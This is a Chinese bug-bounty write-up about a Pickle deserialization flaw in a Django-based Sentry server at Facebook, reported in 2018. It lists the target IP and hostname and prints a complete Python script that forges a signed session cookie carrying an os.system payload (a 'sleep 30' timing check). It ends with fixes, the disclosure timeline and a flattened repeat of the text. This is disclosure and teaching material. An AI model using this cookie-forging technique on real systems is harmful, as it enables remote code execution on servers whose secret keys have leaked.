挖洞经验 | 看我如何发现Facebook的$5000美金漏洞
字数 1405 2025-08-18 11:37:33

Django框架中Pickle反序列化漏洞分析与利用

漏洞概述

本教学文档详细分析了一个Facebook服务器上发现的Django框架中Pickle反序列化漏洞,该漏洞允许攻击者通过伪造会话cookie执行任意命令,获得了Facebook官方5000美元奖励。

漏洞发现过程

目标识别

  • 目标IP段:199.201.65.0/24
  • 具体目标IP:199.201.65.36
  • 服务识别:运行Sentry服务(基于Python和Django的日志收集应用)
  • 主机名:sentryagreements.thefacebook.com

初步观察

  • 页面频繁出现堆栈跟踪(stacktrace)行为
  • 密码重置功能不稳定,经常崩溃
  • Django调试模式未关闭,暴露运行环境信息

关键漏洞点分析

1. 环境变量泄露

堆栈跟踪暴露了以下关键环境变量:

  • SESSION_COOKIE_NAME: sentrysid
  • SESSION_SERIALIZER: django.contrib.sessions.serializers.PickleSerializer
  • SESSION_ENGINE: django.contrib.sessions.backends.signed_cookies
  • SENTRY_OPTIONS: 包含Sentry配置信息列表

2. Pickle序列化风险

  • Django使用Pickle模块进行对象序列化/反序列化
  • Pickle协议允许序列化任意Python对象
  • 如果攻击者能控制序列化数据,可能导致任意代码执行

3. 密钥泄露

  • SENTRY_OPTIONS中暴露了system.secret-key
  • 该密钥用于会话验证,等同于Django的SECRET_KEY
  • 文档说明:若该密钥泄露,必须重新生成,否则会话可能被劫持

漏洞利用步骤

1. 获取当前会话cookie

示例cookie值:
gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw

2. 构造恶意Payload

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='[获取的密钥]' 

# 原始cookie
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'

# 反序列化原始cookie
newContent = django.core.signing.loads(
    cookie,
    key=SECRET_KEY,
    serializer=django.contrib.sessions.serializers.PickleSerializer,
    salt='django.contrib.sessions.backends.signed_cookies'
)

# 构造恶意Pickle对象
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))

# 添加恶意对象到cookie内容
newContent['testcookie'] = PickleRce()

# 重新序列化为恶意cookie
print django.core.signing.dumps(
    newContent,
    key=SECRET_KEY,
    serializer=django.contrib.sessions.serializers.PickleSerializer,
    salt='django.contrib.sessions.backends.signed_cookies',
    compress=True
)

3. 漏洞验证

  • 将生成的恶意cookie替换原sentrysid cookie
  • 访问服务,若页面响应延迟30秒,则证明漏洞存在

漏洞修复建议

  1. 关闭调试模式:生产环境必须关闭Django调试模式
  2. 密钥保护
    • 确保SECRET_KEY不会通过任何途径泄露
    • 定期轮换密钥
  3. 序列化方案:避免使用PickleSerializer,改用JSONSerializer
  4. 输入验证:对所有反序列化操作进行严格验证
  5. 网络隔离:敏感服务应部署在独立VLAN中

时间线与处理结果

  • 2018.7.30 00:00 漏洞初报
  • 2018.7.30 15:25 Facebook分类并下线Sentry服务
  • 2018.8.9 18:10 补丁修复完成
  • 2018.8.9 20:10 获得$5000奖励
  • 确认Sentry服务器位于独立VLAN,未包含用户数据

总结

本案例展示了Django框架中Pickle反序列化结合密钥泄露导致的严重安全问题。开发人员应当:

  1. 严格保护所有加密密钥
  2. 谨慎选择序列化方案
  3. 确保生产环境配置安全
  4. 及时修复已知漏洞

安全研究人员在进行此类测试时,应遵循负责任的披露流程,确保测试行为合法合规。

Django框架中Pickle反序列化漏洞分析与利用 漏洞概述 本教学文档详细分析了一个Facebook服务器上发现的Django框架中Pickle反序列化漏洞,该漏洞允许攻击者通过伪造会话cookie执行任意命令,获得了Facebook官方5000美元奖励。 漏洞发现过程 目标识别 目标IP段:199.201.65.0/24 具体目标IP:199.201.65.36 服务识别:运行Sentry服务(基于Python和Django的日志收集应用) 主机名:sentryagreements.thefacebook.com 初步观察 页面频繁出现堆栈跟踪(stacktrace)行为 密码重置功能不稳定,经常崩溃 Django调试模式未关闭,暴露运行环境信息 关键漏洞点分析 1. 环境变量泄露 堆栈跟踪暴露了以下关键环境变量: SESSION_COOKIE_NAME : sentrysid SESSION_SERIALIZER : django.contrib.sessions.serializers.PickleSerializer SESSION_ENGINE : django.contrib.sessions.backends.signed_ cookies SENTRY_OPTIONS : 包含Sentry配置信息列表 2. Pickle序列化风险 Django使用Pickle模块进行对象序列化/反序列化 Pickle协议允许序列化任意Python对象 如果攻击者能控制序列化数据,可能导致任意代码执行 3. 密钥泄露 SENTRY_OPTIONS 中暴露了 system.secret-key 该密钥用于会话验证,等同于Django的 SECRET_KEY 文档说明:若该密钥泄露,必须重新生成,否则会话可能被劫持 漏洞利用步骤 1. 获取当前会话cookie 示例cookie值: gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw 2. 构造恶意Payload 3. 漏洞验证 将生成的恶意cookie替换原sentrysid cookie 访问服务,若页面响应延迟30秒,则证明漏洞存在 漏洞修复建议 关闭调试模式 :生产环境必须关闭Django调试模式 密钥保护 : 确保SECRET_ KEY不会通过任何途径泄露 定期轮换密钥 序列化方案 :避免使用PickleSerializer,改用JSONSerializer 输入验证 :对所有反序列化操作进行严格验证 网络隔离 :敏感服务应部署在独立VLAN中 时间线与处理结果 2018.7.30 00:00 漏洞初报 2018.7.30 15:25 Facebook分类并下线Sentry服务 2018.8.9 18:10 补丁修复完成 2018.8.9 20:10 获得$5000奖励 确认Sentry服务器位于独立VLAN,未包含用户数据 总结 本案例展示了Django框架中Pickle反序列化结合密钥泄露导致的严重安全问题。开发人员应当: 严格保护所有加密密钥 谨慎选择序列化方案 确保生产环境配置安全 及时修复已知漏洞 安全研究人员在进行此类测试时,应遵循负责任的披露流程,确保测试行为合法合规。